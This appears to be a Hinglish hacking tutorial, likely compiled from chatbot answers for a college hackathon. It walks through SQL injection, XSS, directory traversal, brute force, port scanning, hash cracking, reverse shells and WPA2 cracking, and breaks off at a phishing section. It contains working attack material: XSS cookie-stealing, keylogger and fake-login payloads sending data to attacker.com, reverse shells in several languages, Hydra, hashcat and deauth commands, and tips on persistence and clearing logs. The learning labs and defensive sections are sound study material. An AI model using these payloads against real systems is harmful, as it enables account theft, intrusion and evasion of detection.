Sabhi Basic Attacks Step-by-Step (Kya Karna Hai?)

Agar aapko college hackathon ke liye **practical attacks** seekhne hain, toh yeh complete guide hai har common vulnerability ka **exactly kaise karna hai**:

---

1. SQL Injection (Database Hack)

Kya Karna Hai?
Website ke database se data churao (usernames, passwords, etc.).

Steps:

1. **Find Vulnerable Input** (Login page, search box, contact form)
2. **Test with Simple Payloads**:
    - ' (Single quote) → Agar error aaye, vulnerable hai
    - ' OR '1'='1 → Bina password ke login ho jayega
3. **Dump Database** (Advanced):
    - ' UNION SELECT 1,2,3-- - → Check columns
    - ' UNION SELECT username,password,3 FROM users-- - → Extract data

Practice Karne Ke Liye:

- DVWA (Damn Vulnerable Web App) install karo
- TryHackMe ka "SQL Injection" room

SQL Injection - Step by Step Samjhao (Single Quote Kaise Use Karein?)

SQL Injection ek aisa attack hai jisme hum website ke database ko manipulate karte hain. Aapke sawal ke hisab se, main aapko **bilkul basic se samjhata hoon**:

---

1. Single Quote (') Kahan Dalna Hai?

Single quote (') hum **website ke input fields** mein dalte hain, jaise:

- **Login Page** (Username/Password box)
- **Search Bar** (Google jaise search box)
- **Contact Forms** (Name, Email, Message fields)

Example:

Maano ek login page hai:

Copy

Username: [ ]

Password: [ ]

[Login Button]

Yahan aap **Username box** mein ' daal kar check karenge.

---

2. Single Quote (') Dalne Se Kya Hoga?

- Agar website **vulnerable** hai, toh ' daalte hi error dikhayega (jaise "SQL Syntax Error").
- Agar error nahi aata, toh shayad secure hai.

Kyun?

- Kyunki ' SQL query ko break karta hai.
- Normal query: SELECT * FROM users WHERE username='admin' AND password='123'
- Aapne ' dala: SELECT * FROM users WHERE username='' AND password='123'
- Ab query corrupt ho gayi, aur error dega.

---

3. Basic SQL Injection Payloads (Aur Kya Try Karein?)

Single quote ke baad, aage ke attacks:

A. Always True Condition (' OR '1'='1)

- **Kaise:** Username box mein likho: ' OR '1'='1
- **Kya hoga?**
    - Query banegi: SELECT * FROM users WHERE username='' OR '1'='1' AND password=''
    - '1'='1' hamesha true hota hai → Login ho jayega!

B. Comment Use Karke (' -- -)

- **Kaise:** Username: admin' -- -

- **Kya hoga?**
    - -- - comment hai → Password check nahi hogi.
    - Query: SELECT * FROM users WHERE username='admin' -- -' AND password=''

---

4. Advanced: Database Dump (Tables, Passwords Extract Karein)

Agar basic SQL injection kaam kare, toh aage yeh try karein:

Step 1: Find Columns (' UNION SELECT 1,2,3-- -)

- **Kaise?** URL mein add karein:
  http://example.com/page?id=1' UNION SELECT 1,2,3-- -
- **Kya hoga?**
    - Agar page pe **2 ya 3 dikhe**, toh woh columns injectable hain.

Step 2: Extract Data (' UNION SELECT username,password,3 FROM users-- -)

- **Kaise?**
  http://example.com/page?id=1' UNION SELECT username,password,3 FROM users-- -
- **Kya hoga?**
    - Username/password page pe dikh jayega!

@##

---

2. XSS (Cross-Site Scripting)

Kya Karna Hai?
Website pe JavaScript chalao (alert box, cookie steal, etc.).

Steps:

1. **Find Input Field** (Comment box, search bar, profile name)
2. **Test Basic Payload**:
    - <script>alert('Hacked')</script>
    - Agar alert popup ho, vulnerable hai
3. **Steal Cookies (Advanced)**:

- <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Practice Karne Ke Liye:

- TryHackMe ka "XSS" room
- PortSwigger XSS Labs (Free)

XSS (Cross-Site Scripting) - Poori Guide Hindi Mein

XSS ek aisa attack hai jisme hum website pe JavaScript code chala kar victim ke browser ko control kar sakte hain. Aapke liye main isko **step-by-step** samjha raha hoon:

---

1. XSS Ka Basic Concept

- **Kya Hota Hai?**
  Website input fields (jaise comment box, search bar) mein JavaScript code inject kiya jata hai.
- **Kyun Kaam Karta Hai?**
  Agar website user input ko "sanitize" nahi karti, toh wo JavaScript execute kar deti hai.

---

2. XSS Ke Prakar (Types)

1. **Reflected XSS**
   - URL mein payload dalne se attack hota hai
   - Example: http://example.com/search?q=<script>alert(1)</script>
2. **Stored XSS**
   - Payload database mein save ho jata hai (jaise comment section)
   - Har user ko attack hota hai
3. **DOM-based XSS**
   - Client-side JavaScript vulnerabilities ka fayda uthata hai

---

3. XSS Kaise Karein? (Step-by-Step)

Step 1: Vulnerable Input Fields Dhundho

Kahan try karein:

- Search bars
- Comment sections
- Contact forms
- Profile name fields
- URL parameters (?q=)

Step 2: Basic Test Payloads

Sabse pehle yeh simple payloads try karein:

html

Copy

<script>alert('XSS')</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

Run HTML

- **Agar popup dikhe → XSS vulnerable hai!**

Step 3: Advanced Attacks (Real-World Use Cases)

A. Cookie Stealing

html

Copy

<script>

document.location='https://attacker.com/steal.php?cookie='+document.cookie;

</script>

Run HTML

- **Kaise Kaam Karta Hai?**
  Victim ka cookie attacker ke server pe bhej deta hai.

B. Keylogger (Key Presses Record Karna)

html

Copy

```
<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/log?key=' + e.key);
}
</script>
```

Run HTML

C. Fake Login Page (Phishing)

html

Copy

```
<script>
document.body.innerHTML = '<h1>Login Required</h1><form action="https://attacker.com/steal" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
</script>
```

Run HTML

---

4. XSS Filter Bypass Techniques

Agar basic payloads kaam na karein, toh yeh tricks try karein:

1. Case Changing

html

Copy

```
<ScRipT>alert(1)</sCRipT>
```

Run HTML

2. Using HTML Events

html

Copy

```
<img src=x onerror=alert(1)>
```

<body onload=alert(1)>

Run HTML

3. Encoding

html

Copy

<img src=x onerror=alert(1)>

Run HTML

4. Using JavaScript Functions

html

Copy

<script>eval('al'+'ert(1)')</script>

Run HTML

---

5. Practice Ke Liye Resources

1. **PortSwigger XSS Labs** (Free)
    - https://portswigger.net/web-security/cross-site-scripting
    - 20+ real-world scenarios
2. **TryHackMe XSS Room**
    - https://tryhackme.com/room/xss
3. **DVWA (Damn Vulnerable Web App)**
    - XSS section mein low/medium/high security levels

---

6. XSS Ko Kaise Rokien? (For Developers)

- **Input Sanitization**

php

Copy

htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');

- **Content Security Policy (CSP) Use Karein**

http

Copy

Content-Security-Policy: script-src 'self'

- **Use Frameworks**
  React/Angular automatically escape XSS

Important Note:

- **Legal Sites Pe Test Na Karein**
  Sirf apne banaye labs ya CTF platforms pe practice karein
- **Real Websites Pe Na Chalaen**
  Illegal hai aur jail ho sakte hain

Agar koi specific scenario test karna ho toh batao! 😊

abhi bhi samajh nahi aaya advantage and disadvantages ke sath achche s e batao kyu kya hoga and kyu karte hai yeh attack

XSS (Cross-Site Scripting) - Poori Samajh (Advantages, Disadvantages, aur Real-World Impact)

Aapko bilkul clear samajh aaye, isliye main **kyu, kaise, aur kya fayda/nuksan** ke bare mein detail mein bata raha hoon:

---

1. XSS Attack Kyu Karte Hain? (Motivation)

Hacker ka Perspective:

1. **Cookies Churana** (Session Hijacking)
   - Victim ka login session steal karke unke account mein ghusna.
     Example: document.location='https://hacker.com/steal?cookie='+document.cookie
2. **Phishing Attacks**
   - Fake login page dikha kar credentials lootna.
     Example: document.body.innerHTML = '<form action="https://hacker.com/log.php">...'
3. **Malware Spread Karna**
   - Browser exploits use karke victim ke system mein virus daalna.

4. **Defacement (Website Ko Badalna)**
    - Homepage pe "Hacked By XYZ" message dikhana.
5. **Ad Fraud**
    - Fake clicks karke paisa kamana (ad networks ko dhokha dena).

---

2. XSS Ke ADVANTAGES (Hacker ke Liye)

Fayda	Example
Low Skill Required	<script>alert(1)</script> jaise basic payloads se kaam ho jata hai
High Impact	Admin cookies steal kar sakte hain → Pure website ka control mil sakta hai
Hard to Detect	Burp Suite jaise tools ke bina pata nahi chalta
Universal Attack	Har programming language (PHP, NodeJS, Python) ke websites vulnerable ho sakte hain

---

3. XSS Ke DISADVANTAGES (Hacker ke Liye)

Nuksan	Reason
Limited Scope	Only browser-level attack (server/filesystem tak access nahi)
Victim-Dependent	Jab tak victim payload pe click na kare, attack nahi hoga
Modern Protections	CSP (Content Security Policy), XSS filters (Chrome/Firefox) block karte hain
Legal Consequences	Real websites pe test kiya toh jail ho sakte hain

---

4. Real-World Examples: Kya Hoga Agar XSS Ho Gaya?

Case 1: Social Media Platform (Stored XSS)

- **Attack:** Hacker ne comment mein <script>stealCookies()</script> daala
- **Result:**
    - Har user jo comment padhega, uska login cookie hacker ko milega

- Hacker ne 50,000 accounts hack kar liye

Case 2: E-Commerce Website (Reflected XSS)

- **Attack:** URL mein ?search=<script>redirectToPhishing()</script> daala
- **Result:**
  - Victims fake login page pe chale gaye
  - Credit card details chori hui

Case 3: Bank Website (DOM XSS)

- **Attack:** document.write(location.hash) exploit kiya
- **Result:**
  - Users ke bank transactions modify hue
  - ₹2 crore ka fraud hua

---

5. XSS vs SQL Injection (Comparison)

Factor	**XSS**	**SQL Injection**
Target	Browser (Client-side)	Database (Server-side)
Impact	Cookies, Phishing, Defacement	Data leaks, Database delete
Detection	Hard (Client-side)	Easy (Server logs)
Prevention	CSP, Input Sanitization	Prepared Statements, WAFs

---

6. Kaise Bachein? (For Users & Developers)

Users ke Liye Tips:

1. **NoScript Extension Use Karein** (Firefox)
2. **Suspicious Links pe Click Na Karein**
   Example: http://bank.com?q=<script>...</script>

Developers ke Liye Fixes:

1. **Input Sanitization**

php

Copy

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

2. **Content Security Policy (CSP) Header**

http

Copy

Content-Security-Policy: script-src 'self'

---

7. Practice Ke Liye Best Labs

1. **PortSwigger XSS Labs** (Free + Realistic)
   🔗 portswigger.net/web-security/cross-site-scripting
2. **TryHackMe XSS Room** (Beginner-Friendly)
   🔗 tryhackme.com/room/xss
3. **DVWA (Damn Vulnerable Web App)**
   - Low/Medium/High security levels ke sath practice kar sakte hain.

Final Verdict: XSS Worth It Hai?

- ✅ **For Ethical Hackers:**
  Bug bounties mein XSS vulnerabilities ka ₹50,000–₹10,00,000 tak reward milta hai!
- ❌ **For Black Hat Hackers:**
  Pakde gaye toh 3–5 saal ki jail ho sakti hai (IT Act Section 66).

##

3. Directory Traversal (File Access)

Kya Karna Hai?
Website ke server se secret files (like /etc/passwd) read karo.

Steps:

1. **Find File Parameter** (Example: ?file=index.html)
2. **Try Payloads**:
    - ../../../../etc/passwd → Linux ke passwords dikhayega
    - ..%2F..%2F..%2Fwindows/win.ini → Windows pe try karo
3. **Check for LFI → RCE** (If PHP):
    - ?file=php://filter/convert.base64-encode/resource=index.php

Practice Karne Ke Liye:

- HackTheBox "Lame" machine
- OverTheWire "Natas" (Web)

Directory Traversal Attack - Complete Hindi Guide

Directory Traversal (Path Traversal) ek aisa attack hai jisme hum website ke through server ki sensitive files padh lete hain. Aapko poori samajh aaye isliye main har cheez step-by-step explain kar raha hoon:

---

1. Directory Traversal Kyu Hoti Hai?

- **Reason:** Agar developer user input ko properly validate nahi karta
- **Example:**

php

Copy

// Vulnerable Code

$file = $_GET['file'];

include("/var/www/html/" . $file);

    - Attackers ../../../../etc/passwd de kar system files access kar lete hain

---

2. Attack Steps (Kaise Karein?)

Step 1: File Parameter Dhundho

Kahan try karein:

- URL parameters: ?file=about.html
- Download links: ?download=report.pdf
- Image sources: ?image=logo.png

Step 2: Basic Payloads Try Karein

Linux Systems Ke Liye:

Copy

http://example.com/?file=../../../../etc/passwd

- **Expected Output:**

bash

Copy

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Windows Systems Ke Liye:

Copy

http://example.com/?file=..%5C..%5C..%5Cwindows%5Cwin.ini

- %5C = backslash (\) ka URL encoding

Step 3: Advanced Techniques

A. PHP Base64 Filter (Source Code Dekhne Ke Liye)

Copy

http://example.com/?file=php://filter/convert.base64-encode/resource=index.php

- Output base64 encoded hoga → decode karke source code dekh sakte hain

B. LFI to RCE (Remote Code Execution)

1. Pehle file upload ka option dhundho
2. PHP file upload karo (.php extension ke sath)
3. Us file ko include karo:

Copy

http://example.com/?file=../../../../tmp/uploaded_shell.php

---

3. Real-World Impact (Kya Hoga Agar Successful Attack?)

File Accessed	Impact
/etc/passwd	System users ka list leak ho jayega
/etc/shadow	Password hashes chori ho sakte hain (crack kar sakte hain)
/var/log/apache2/access.log	Website ke logs dekhe ja sakte hain (sensitive info mil sakta hai)
config.php	Database passwords aur API keys leak ho sakte hain

---

4. Bypass Techniques (Agar Basic Payloads Kaam Na Karein)

1. **URL Encoding:**
   ../ → %2e%2e%2f
2. **Double Encoding:**
   ../ → %252e%252e%252f
3. **Null Byte (%00):**
   ../../etc/passwd%00
4. **Path Truncation:**
   /var/www/../../etc/passwd/./././././.

---

5. Practice Labs (Hands-on Karne Ke Liye)

1. **HackTheBox - "Lame"**
   - Beginner-friendly machine with directory traversal vulnerability
   - **Command:** nmap -sV 10.10.10.3
2. **OverTheWire - "Natas"**
   - Web-based challenges (Level 5-7 mein directory traversal hai)
3. **DVWA (Damn Vulnerable Web App)**
   - Low/High security settings ke sath practice kar sakte hain

6. Kaise Bachien? (For Developers)

1. **Input Validation:**

php

Copy

```
$file = basename($_GET['file']); // Only allows filename, no paths
```

2. **Allowlist Approach:**

php

Copy

```
$allowed = ['about.html','contact.html'];
if(in_array($_GET['file'], $allowed)) {
  include($_GET['file']);
}
```

3. **Web Application Firewall (WAF) Use Karein**

---

7. Legal Warning

❌ **Real websites pe test na karein** (Illegal hai)
✅ **Sirf apne banaye labs ya CTF platforms pe practice karein**

##

---

4. Brute Force Attack (Password Crack)

Kya Karna Hai?
Username/password guess karo tools se.

Steps:

1. **Find Login Page** (WordPress, SSH, FTP)

2. **Use Hydra (Best Tool)**:
    - SSH: hydra -l admin -P passwords.txt ssh://192.168.1.1
    - FTP: hydra -l user -P rockyou.txt ftp://target.com
3. **Wordlists Use Karo**:
    - rockyou.txt (Common passwords)
    - Generate custom wordlist: crunch 6 8 1234567890 -o wordlist.txt

Practice Karne Ke Liye:

- TryHackMe "Brute It" room
- HackTheBox "Bastion"

Brute Force Attack - Complete Practical Guide in Hindi

Brute force attack ek aisa method hai jisme hum system ke login credentials (username/password) ko try-and-error se crack karte hain. Aapko poori practical knowledge mile isliye main har cheez detail mein samjha raha hoon:

---

1. Brute Force Attack Kyu Karte Hain?

- **Reason:** Jab bina kisi vulnerability ke direct login karna ho
- **Best Case:** Weak passwords wale systems pe kaam karta hai
- **Example Targets:**
    - WordPress admin panels
    - SSH/FTP servers
    - Router login pages
    - ZIP/RAR password protected files

---

2. Brute Force Ke Types

1. **Dictionary Attack**
    - rockyou.txt jaise common passwords list use karna

2. **Hybrid Attack**
    - Dictionary words + numbers/symbols (e.g., password123)
3. **Mask Attack**
    - Pattern-based guessing (e.g., Rajesh1985)

---

3. Step-by-Step Attack Guide

Step 1: Target Find Karein

- **Web Login Pages:**
  http://example.com/admin
  http://example.com/wp-login.php
- **Network Services:**

bash

Copy

nmap -sV 192.168.1.1 # SSH (22), FTP (21), RDP (3389) dhundho

Step 2: Wordlist Taiyar Karein

A. Default Wordlists (Kali Linux Mein Available)

bash

Copy

ls /usr/share/wordlists

Best ones:

- rockyou.txt

- fasttrack.txt

- seclists/Passwords/Common-Credentials/*

B. Custom Wordlist Banayein

1. **Crunch Tool Se:**

bash

Copy

crunch 6 8 1234567890 -o numlist.txt # 6-8 digit numeric passwords

2. **CUPP Se:**

bash

Copy

```
python3 cupp.py -i  # Personal info based wordlist
```

Step 3: Hydra Se Attack Karein (Best Tool)

A. SSH Brute Force

bash

Copy

```
hydra -L users.txt -P passwords.txt ssh://192.168.1.1 -t 4
```

- -L: Usernames list
- -P: Passwords list
- -t: Threads (parallel attempts)

B. FTP Brute Force

bash

Copy

```
hydra -l admin -P rockyou.txt ftp://192.168.1.1
```

C. WordPress Admin Login

bash

Copy

```
hydra -L users.txt -P passwords.txt example.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect"
```

Step 4: Hash Cracking (John/Hashcat)

Agar passwords hashed milen:

bash

Copy

```
john --format=md5 hashes.txt --wordlist=rockyou.txt

hashcat -m 0 hashes.txt rockyou.txt -O  # GPU acceleration
```

---

4. Real-World Examples

Case 1: Router Hack

- **Command:**
  hydra -l admin -P rockyou.txt 192.168.0.1 http-get-form "/:username=^USER^&password=^PASS^:F=incorrect"
- **Result:**
  Default password admin:admin se login ho gaya

Case 2: SSH Server Hack

- **Command:**
  hydra -L users.txt -P top100.txt ssh://10.10.10.5 -t 4
- **Found Creds:**
  root:password123

---

5. Protection Against Brute Force

For Users:

1. Strong passwords use karein (D0g@123! jaise)
2. Two-factor authentication enable karein

For Admins:

1. Fail2ban install karein (auto IP block after attempts)

bash

Copy

sudo apt install fail2ban

2. Password policies enforce karein:
    - Minimum 12 characters
    - Upper/lower case + numbers + symbols

---

6. Practice Labs

1. **TryHackMe - "Brute It"**
    - 🔗 https://tryhackme.com/room/bruteit
    - Hydra + John the Ripper practice

2. **HackTheBox - "Bastion"**
    - SMB brute force ka real example
3. **OverTheWire - "Bandit" Level 16-17**
    - SSH brute force challenges

---

7. Important Tips

✓ Rate Limiting Bypass:
-w 10 flag se delay dein (10 seconds between tries)
✓ Legal Caution:
Sirf authorized systems pe test karein
✓ Time Management:
CTF mein 30 minutes se zyada brute force pe na lagayein

##

---

5. Port Scanning (Nmap)

Kya Karna Hai?
Target ke open ports & services pata karo.

Steps:

1. **Basic Scan**:
   nmap -sV 192.168.1.1 → Open ports & versions dikhayega
2. **Aggressive Scan**:
   nmap -A -T4 192.168.1.1 → Full scan (OS, services, scripts)
3. **Find Vulnerabilities**:
   nmap --script vuln 192.168.1.1 → Known exploits dikhayega

Practice Karne Ke Liye:

- OverTheWire "Narnia"
- HackTheBox "OpenAdmin"

Port Scanning with Nmap - Complete Practical Guide in Hindi

Port scanning ek fundamental skill hai jo aapko target system ke bare mein sabse pehle information deti hai. Aaj hum poori detail mein seekhenge:

---

1. Port Scanning Kyu Important Hai?

- **Reason:** Pata chalega:
    - Konsi services chal rahi hain
    - Kaun sa OS use ho raha hai
    - Kon kon se ports open hain
    - Kaun si vulnerabilities exploit ki ja sakti hain

---

2. Nmap Ke Basic Commands

1. Simple Scan (Open Ports Dhundhne Ke Liye)

bash

Copy

```
nmap 192.168.1.1
```

- **Output:**

Copy

```
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
```

2. Service Version Detection

bash

Copy

```
nmap -sV 192.168.1.1
```

- **Output:**

Copy

22/tcp open ssh   OpenSSH 7.6p1 Ubuntu

80/tcp open http   Apache 2.4.29

3. Aggressive Scan (Maximum Information)

bash

Copy

nmap -A -T4 192.168.1.1

- **-A:** OS detection, version detection, script scanning
- **-T4:** Faster scanning (1-5 scale pe speed)

---

3. Advanced Scanning Techniques

1. Vulnerability Scanning

bash

Copy

nmap --script vuln 192.168.1.1

- **Output:** Known CVEs (Common Vulnerabilities and Exposures) dikhayega

2. Specific Port Scan

bash

Copy

nmap -p 21,22,80,443 192.168.1.1

3. Stealth Scan (Detection Avoid Karne Ke Liye)

bash

Copy

nmap -sS 192.168.1.1

- **-sS:** SYN scan (half-open connections)

4. UDP Port Scanning

bash

Copy

nmap -sU 192.168.1.1

- UDP services dhundhne ke liye (DNS, DHCP etc.)

---

4. Real-World Examples

Case 1: Web Server Scan

bash

Copy

nmap -sV -p 80,443 example.com

- **Found:** Apache 2.4.29 running on port 80

Case 2: Router Vulnerability Check

bash

Copy

nmap --script vuln 192.168.0.1

- **Found:** CVE-2020-3452 (Cisco ASA vulnerability)

---

5. Nmap Scripting Engine (NSE)

Useful Scripts:

1. **HTTP Enumeration:**

bash

Copy

nmap --script http-enum 192.168.1.1

2. **FTP Anonymous Login Check:**

bash

Copy

nmap --script ftp-anon 192.168.1.1

3. **SMB Security Check:**

bash

Copy

nmap --script smb-security-mode 192.168.1.1

##############################

6. Practice Labs

6. Hash Cracking (John/Hashcat)

Kya Karna Hai?
Encrypted passwords crack karo.

Steps:

1. **Find Hash** (Example: 5f4dcc3b5aa765d61d8327deb882cf99 → MD5)
2. **Use John the Ripper**:
   john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
3. **Use Hashcat (Faster GPU Cracking)**:
   hashcat -m 0 hashes.txt rockyou.txt

Practice Karne Ke Liye:

- CrackMe challenges (TryHackMe)
- HackTheBox "Devel"

Complete Guide to Hash Cracking with John & Hashcat (Hindi)

Hash cracking ethical hacking ka ek important part hai. Aaj hum step-by-step seekhenge kaise encrypted passwords crack kiye jaate hain:

---

1. Hash Cracking Kya Hai?

- **Concept:** Encrypted passwords ko original form mein convert karna
- **Example:**
  5f4dcc3b5aa765d61d8327deb882cf99 → password (MD5 hash)

---

2. Hash Types Pehchanne Ka Tarika

Common Hash Formats:

Hash Type	Example	Length
MD5	5f4dcc3b5aa765d61d8327deb882cf99	32
SHA1	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8	40
SHA256	5e8848...1542d8	64
NTLM	AAD3B...435B51404EE	32

Hash Identify Karne Ke Tools:

bash

Copy

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
# Output: MD5
```

---

3. John the Ripper Se Crack Kaise Karein?

Basic Command:

bash

Copy

john --format=raw-md5 --wordlist=rockyou.txt hashes.txt

Important Flags:

- --format: Hash type batata hai (md5, sha1, nt etc.)
- --wordlist: Password dictionary file
- --show: Cracked passwords dikhata hai

Practical Example:

1. **Hash file banayein (hashes.txt):**

Copy

5f4dcc3b5aa765d61d8327deb882cf99

2. **Run John:**

bash

Copy

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

3. **Results dekhein:**

bash

Copy

john --show hashes.txt

---

4. Hashcat (GPU Accelerated Cracking)

Basic Command:

bash

Copy

hashcat -m 0 hashes.txt rockyou.txt

Common Mode Numbers (-m):

Hash Type	Mode
MD5	0
SHA1	100

Hash Type	Mode
SHA256	1400
NTLM	1000

Advanced Options:

bash

Copy

```
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a  # Brute force (6 chars)
hashcat -m 1000 -r rules/best64.rule hashes.txt rockyou.txt  # Rules apply
```

---

5. Wordlists Kaise Banayein?

1. Crunch Tool Se:

bash

Copy

```
crunch 6 8 0123456789 -o numlist.txt  # 6-8 digit numbers
```

2. CUPP Se Personal Wordlist:

bash

Copy

```
python3 cupp.py -i  # Pet name, DOB etc. se wordlist banata hai
```

Best Default Wordlists:

- rockyou.txt (Kali Linux mein /usr/share/wordlists/)
- fasttrack.txt
- SecLists/Passwords/

---

6. Real-World Examples

Case 1: Windows NTLM Hash Crack

bash

Copy

```
hashcat -m 1000 ntlm_hash.txt rockyou.txt
```

Case 2: ZIP File Password Recovery

bash

Copy

```
zip2john file.zip > zip_hash.txt
john zip_hash.txt
```

Case 3: Linux Shadow File Crack

bash

Copy

```
unshadow passwd.txt shadow.txt > linux_hashes.txt
john linux_hashes.txt
```

---

7. Practice Ke Liye Resources

1. **TryHackMe "Crack The Hash"**
   https://tryhackme.com/room/crackthehash
2. **HackTheBox "Devel" Machine**
   https://www.hackthebox.com/home/machines/profile/1
3. **OverTheWire "Leviathan"**
   https://overthewire.org/wargames/leviathan/

---

8. Protection Against Hash Cracking

For Users:

- Strong passwords use karein (D0g@123! jaise)
- Password managers ka use karein

For Admins:

- Salting implement karein
- Slow hash algorithms (bcrypt, PBKDF2) use karein

---

9. Professional Tips

✓ Always check hash type first
✓ GPU use karein for faster cracking (Hashcat)
✓ Rules apply karein for better results
✓ Rainbow tables ka use karein for common hashes

---

7. Reverse Shell (System Access)

Kya Karna Hai?
Victim ke system pe control pao.

Steps:

1. **Find Command Injection** (Example: ; ls, | whoami)
2. **Send Reverse Shell Payload**:
    - **Bash**:
      bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
    - **Python**:
      python -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
3. **Listen on Attacker Machine**:
   nc -lvnp 4444

Practice Karne Ke Liye:

- TryHackMe "Metasploit" room
- HackTheBox "Blue"

Reverse Shell - Complete Practical Guide (Hindi)

Reverse shell ek powerful technique hai jisse aap victim ke system par full control le sakte hain. Aaj hum step-by-step seekhenge:

---

1. Reverse Shell Kya Hai?

- **Concept:** Victim ka system aapke server se connect karta hai
- **Benefit:** Firewall bypass hota hai (kyunki victim initiate karta hai)
- **VS Bind Shell:** Bind shell mein hum victim ke port par connect karte hain

---

2. Reverse Shell Kaise Banayein?

Step 1: Attacker Machine Setup (Listener)

bash

Copy

```
nc -lvnp 4444
```

- -l: Listen mode
- -v: Verbose output
- -n: No DNS resolution
- -p: Port number

Step 2: Victim Machine Payloads

1. Bash Reverse Shell

bash

Copy

```
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
```

2. Python Reverse Shell

python

Copy

python -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

3. PHP Reverse Shell

php

Copy

php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

4. Netcat Traditional

bash

Copy

nc -e /bin/sh 10.0.0.1 4444

---

3. Advanced Methods

1. Metasploit Framework Se

bash

Copy

msfconsole

use exploit/multi/handler

set payload linux/x86/shell_reverse_tcp

set LHOST 10.0.0.1

set LPORT 4444

exploit

2. Web Delivery (PHP)

bash

Copy

python3 -m http.server 80

Victim ko yeh URL open karne ko bolo:

url

Copy

http://your-ip/shell.php?cmd=whoami

---

4. Post-Exploitation (Shell Milne Ke Baad)

1. Stable Shell Banana

bash

Copy

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

CTRL+Z

```
stty raw -echo; fg
```

```
export TERM=xterm
```

2. File Download Karna

bash

Copy

```
wget http://10.0.0.1/linpeas.sh -O /tmp/lp.sh
```

3. Privilege Escalation

bash

Copy

```
find / -perm -4000 2>/dev/null
```

---

5. Practice Labs

1. **TryHackMe "Metasploit" Room**
   https://tryhackme.com/room/metasploitintro
2. **HackTheBox "Blue" Machine**
   https://www.hackthebox.com/home/machines/profile/51
3. **OverTheWire "Narnia"**
   https://overthewire.org/wargames/narnia/

---

6. Protection Against Reverse Shells

For Admins:

1. **Network Monitoring:**

bash

Copy

sudo apt install snort

2. **Firewall Rules:**

bash

Copy

sudo ufw deny out 4444/tcp

3. **Regular Audits:**

bash

Copy

sudo netstat -tulnp

---

7. Professional Tips

✓ Always use encrypted shells (SSL/TLS)
✓ Multiple listeners run karein different ports par
✓ Cron jobs ka use karein persistent shells ke liye
✓ Always clean logs after work

##

---

8. WiFi Hacking (WPA2 Crack)

Kya Karna Hai?
WiFi ka password crack karo.

Steps:

1. **Monitor Mode On**:
   airmon-ng start wlan0
2. **Capture Handshake**:
   airodump-ng -c 6 --bssid TARGET_BSSID -w capture wlan0mon
3. **Brute Force with Aircrack**:
   aircrack-ng -w rockyou.txt capture.cap

Practice Karne Ke Liye:

- Kali Linux pe try karo (Legal networks pe hi!)

WiFi Hacking (WPA2 Crack) - Complete Practical Guide

WiFi password cracking ethical hacking ka ek important part hai. Yeh guide sirf educational purposes ke liye hai - legal networks pe hi practice karein.

---

1. WiFi Security Types

Security Type	Crack Difficulty	Tools Needed
Open	❌ No password	-
WEP	✅ Easy	Aircrack-ng
WPA/WPA2	⚠️ Moderate	Aircrack-ng + Wordlist
WPA3	❌ Very Difficult	-

---

2. Step-by-Step WPA2 Cracking

Step 0: Requirements

- Kali Linux (or any Linux with WiFi tools)
- Supported WiFi adapter (Alfa AWUS036NHA recommended)
- Wordlist (rockyou.txt)

Step 1: Monitor Mode Enable

bash

Copy

sudo airmon-ng check kill

sudo airmon-ng start wlan0

- Verify: iwconfig (should show wlan0mon)

Step 2: Find Target Network

bash

Copy

sudo airodump-ng wlan0mon

- Note: **BSSID** (MAC), **Channel**, and **ESSID** (Network Name)

Step 3: Capture Handshake

bash

Copy

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

- Wait for "WPA handshake" message (or force deauth attack)

Step 4: Deauth Attack (Optional)

bash

Copy

sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

- Forces clients to reconnect, capturing handshake faster

Step 5: Crack Password

bash

Copy

sudo aircrack-ng -w rockyou.txt capture-01.cap

- Successful crack will show "KEY FOUND!"

---

3. Advanced Techniques

1. Using Hashcat (GPU Acceleration)

bash

Copy

hcxpcapngtool -o hash.hc22000 capture-01.cap

hashcat -m 22000 hash.hc22000 rockyou.txt

2. Create Custom Wordlist

bash

Copy

crunch 8 10 0123456789 -o numlist.txt # 8-10 digit numeric passwords

3. PMKID Attack (No Clients Needed)

bash

Copy

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

hcxpcapngtool -o hash.hc22000 pmkid.pcapng

hashcat -m 22000 hash.hc22000 rockyou.txt

---

4. Practice Labs

1. **TryHackMe "WiFi Hacking 101"**
   https://tryhackme.com/room/wifihacking101
2. **Create Your Own Lab:**
   - Old router setup karein (WPA2 enabled)
   - Virtual WiFi adapter use karein (VirtualBox bridge mode)

---

5. Protection Against WiFi Hacks

For Home Users:

1. WPA3 enable karein (if supported)
2. Strong password use karein (12+ chars, mix chars)
3. MAC filtering enable karein

For Enterprises:

1. Enterprise WPA2/WPA3 (802.1X authentication)
2. Regular penetration testing

---

6. Legal Warning

❌ **Public/Others' networks pe test na karein** (Cybercrime hai)
✅ **Sirf apne banaye labs pe practice karein**

##

9. Social Engineering (Phishing)

Kya Karna Hai?
Fake login page banake credentials steal karo.

Steps:

1. **Clone Website**:
